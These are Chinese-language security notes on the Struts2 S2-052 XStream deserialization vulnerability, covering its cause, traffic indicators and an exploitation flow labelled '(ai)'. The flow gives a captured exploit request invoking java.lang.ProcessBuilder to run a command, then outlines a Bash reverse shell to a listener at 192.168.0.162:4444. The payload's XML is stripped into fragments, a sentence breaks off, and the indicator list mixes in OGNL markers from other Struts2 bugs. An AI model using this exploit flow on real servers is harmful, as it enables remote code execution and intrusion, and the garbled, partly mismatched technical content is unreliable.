+

struts2 s2-052

原理

在Struts2 S2-052漏洞中,攻击者可以通过修改HTTP请求的数据类型为xml,使得服务器使用XStream库来解析请求体。当XStream库解析XML数据时,会进行反序列化操作。如果XML数据包含恶意的Java对象,XStream库会在反序列化过程中执行这些对象的代码,导致任意代码执行或命令执行。产生漏洞的根本在于XStream反序列化的不受信任输入。

流量特征

URL中会有.action或.do等struts相关后缀名。 Content-Type字段值存在可疑的OGNL表达式。 请求包中存在#memberAccess等反序列化攻击的明显标志。 请求包中包含Struts2的一些特定关键字,如method、redirect、println等。 参数中可疑的OGNL表达式如${}和%{},可能表示命令执行意图。

攻击流程(ai)

漏洞利用:

复现攻击分为两部分

漏洞利用

1.
抓包与改包:使用Burp Suite抓包并修改请求包,发送恶意XML数据包。
2.
Payload示例: http
复制
POST /orders HTTP/1.1 Host: 192.168.0.23:8080 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3 Referer: http://192.168.0.23:8080/orders/3/edit Cookie: JSESSIONID=038C79EF8BD97CF8A5F02024C3EC34ED Connection: close Upgrade-Insecure-Requests: 1 Content-Type: application/xml Content-Length: 1673 0 false 0 /usr/bin/touch /tmp/shell.txt false java.lang.ProcessBuilder start foo foo false 0 0 false false 0
3.
执行命令
上述payload将在

2. 反弹Shell(更高级的攻击)

修改Payload以执行反向Shell命令,连接回攻击者控制的机器。
需要对命令中的特殊字符(如&​)进行编码。
示例Payload中的命令尝试通过Bash反弹Shell到监听的端口(如192.168.0.162:4444)。